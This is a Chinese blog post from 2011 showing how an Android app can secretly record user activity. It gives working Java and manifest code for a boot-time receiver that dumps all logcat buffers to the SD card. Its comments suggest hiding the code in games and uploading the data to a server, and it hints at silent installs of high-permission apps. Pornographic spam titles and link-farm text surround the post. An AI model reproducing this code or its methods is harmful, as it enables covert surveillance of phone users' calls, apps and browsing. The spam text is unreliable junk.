<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      拋磚引玉 之 誰動了我的隱私(android用戶隱私窺探)

      用戶的隱私永遠是第一位的,用戶的隱私也是最值錢的。

      最近各大門戶相繼被泄露。。。保管好自己的密碼就行了

      這里我就扯一下android下面搞用戶隱私的方法,也算是android的一個疏忽。

      但最主要的,還是用戶在安裝apk時對權限警告的無視,就猶如我們所有社區的密碼設為相同一樣。

      罪魁禍首就是logcat。以及一個權限檢測的bug.

       

      1、開機啟動

        程序如何開機啟動?那就是接受一個關于開機的廣播,具體流程是這樣的,首先在 清單文件 聲明一個權限   

      <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />    

        然后就是寫receiver以及在清單中設置了。

              <receiver android:name ="org.igeek.hack.reciver.HackReceiver">
      <intent-filter android:priority ="1000">
      <action android:name ="android.intent.action.BOOT_COMPLETED"/>
      </intent-filter >
      </receiver >

        

      public class HackReceiver extends BroadcastReceiver {

      @Override
      public void onReceive(Context context, Intent intent) {
      ................
      }
      }

       

        其實呢,完全可以不必聲明權限,照樣使用。

        android的包管理器在檢測到用戶要安裝apk時,只是掃描一下清單中的權限聲明,然后列出權限警告給用戶,上面根本沒有聲明這個權限,所以不會列出來,但不影響使用,這個bug一直堅守到了4.0.

       

      2、窺探隱私

        我們要記錄用戶的一切,從開機開始!

        安卓的一些調試工具,是默認集成在rom中的,比如logcat,不止是sdk中攜帶,而是每部安卓手機以及平板都有的。

        而且,安卓框架會向log緩沖區寫入所有的Log,具體是這幾類:mainevents、radiosystem。這些Log緩沖區基本上涵蓋了手機運行的方方面面。

        進入正題,我們會用到Process類,也就是進程類,dalvik會分裂出一個進程來執行其它本地程序,就像在shell中打入命令,shell分裂一個進程來運行它一樣,我們只需要把shell下的命令寫成字符串,直接扔給process即可。

      別忘了再加入這兩個權限

          <uses-permission android:name="android.permission.READ_LOGS"/>
      <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>



       

        1 //簡單的示例,這些代碼可以附加到某個market的應用里,比如游戲等等
      2 //其實有些廣告的sdk,需要一大堆權限,好多都需要開機啟動
      3 //我想,可能是收集用戶信息來分析用戶的行為,來進行定點投放廣告吧
      4 public class HackReceiver extends BroadcastReceiver {
      5
      6 @Override
      7 public void onReceive(Context context, Intent intent) {
      8
      9 ///main
      10 Runnable r1=new Runnable() {
      11
      12 @Override
      13 public void run() {
      14 writeLog("org.igeek.hack.main.log", "main");
      15 }
      16 };
      17 ///events
      18 Runnable r2=new Runnable() {
      19
      20 @Override
      21 public void run() {
      22 writeLog("org.igeek.hack.events.log", "events");
      23 }
      24 };
      25 ///radio
      26 Runnable r3=new Runnable() {
      27
      28 @Override
      29 public void run() {
      30 writeLog("org.igeek.hack.radio.log", "radio");
      31 }
      32 };
      33 ///system
      34 Runnable r4=new Runnable() {
      35
      36 @Override
      37 public void run() {
      38 writeLog("org.igeek.hack.system.log", "system");
      39 }
      40 };
      41
      42 Thread t1=new Thread(r1);
      43 Thread t2=new Thread(r2);
      44 Thread t3=new Thread(r3);
      45 Thread t4=new Thread(r4);
      46
      47
      48
      49 t1.start();
      50 t2.start();
      51 t3.start();
      52 t4.start();
      53 }
      54
      55 //你懂得
      56 private void writeLog(String file,String content){
      57 try {
      58 StringBuilder command = new StringBuilder("logcat" );
      59
      60 File devFile = new File( Environment.getExternalStorageDirectory(),file );
      61 if (devFile.createNewFile()){
      62 command.append(" -b " ).append(content);
      63
      64
      65 //命令格式是: logcat -b main
      66 //logcat -b radio 等等
      67 Process process = Runtime.getRuntime().exec(command.toString());
      68
      69
      70 //這里,將本地程序的標準輸出,也就是std::out轉成java的輸入流
      71 InputStream input = process.getInputStream();
      72 BufferedReader reader = new BufferedReader( new InputStreamReader(input));
      73
      74 //再把轉入的輸入流搞成輸出流,這里放到sd卡的目錄里面
      75 FileOutputStream output=new FileOutputStream(devFile);
      76 BufferedOutputStream bot=new BufferedOutputStream(output);
      77
      78 Log.e("hack", "記錄LOG -> "+"sd:"+file);
      79 String log;
      80 while((log = reader.readLine()) != null){
      81
      82 //其實在輸入流獲取后,可以根據規則摘取想要的信息
      83 //沒有必要通吃
      84
      85
      86 //在關機前,這個循環是很難跳出的
      87 bot.write(log.getBytes());
      88
      89
      90 //這里呢,可以學學騎驢250,將獲取的數據上傳到服務器
      91 /*
      92 偽代碼
      93
      94 在清單中添加個Internet權限,相信用戶也不會多心的
      95
      96
      97 go:連接服務器
      98 go:壓縮并上傳數據
      99
      100
      101 */
      102 }
      103 bot.close();
      104 output.close();
      105 reader.close();
      106 input.close();
      107
      108 //親手測試一下,你會驚訝的發現,誰給你打電話、你當前運行什么程序、
      109 //你看什么不該看的網頁,都一一記錄在案
      110
      111
      112 }
      113 } catch (IOException e) {
      114 //have a nice day
      115 e.printStackTrace();
      116 }
      117 }
      118
      119 }


      就說這么多,感興趣的可以研究研究market的安裝方法,以及market uri,可以做到0權限靜默安裝高權限apk。

       最后,請關注我的 拋磚引玉 系列,會有更多精彩內容

      原創,轉載請注明  http://hangxin1940.cnblogs.com

      這里僅當拋磚引玉,本人水平有限,難免有些疏漏或者錯誤,還請指正!??!

       

       

       

       

      posted on 2011-12-30 00:53  黑暗伯爵  閱讀(1610)  評論(1)    收藏  舉報

      導航

      主站蜘蛛池模板: 美女扒开尿口让男人桶| 国产视色精品亚洲一区二区| 免费国产黄线在线观看| 伊人蕉影院久亚洲高清| 四虎国产精品久久免费地址| 国产精品亚洲第一区在线| 国产精品高清一区二区三区| 亚洲精品日韩在线观看| 国产精品无码无片在线观看3d| 久久久成人毛片无码| 中文字幕av国产精品| 99国产精品一区二区蜜臀| 在线播放亚洲成人av| 又大又粗欧美黑人aaaaa片| 国产精品国产精品偷麻豆| 桃花岛亚洲成在人线AV| 内丘县| 色噜噜在线视频免费观看| 亚洲日本韩国欧美云霸高清| 久久精品人成免费| av天堂久久精品影音先锋| 亚洲综合色网一区二区三区| 日韩大片高清播放器| 国产精品日韩av在线播放| 天天澡日日澡狠狠欧美老妇| 亚洲性av网站| 一区二区三区日本久久九| 国产成人午夜福利院| 砀山县| 中文字幕人妻中出制服诱惑| 久久久久久久波多野结衣高潮| 巴林右旗| 国产在线无码不卡播放| 微拍福利一区二区三区| 999福利激情视频| 亚洲综合不卡一区二区三区| 四虎在线成人免费观看| 中文字幕乱码十国产乱码| 亚洲av永久无码精品网站| 日本无遮挡真人祼交视频| 在线aⅴ亚洲中文字幕|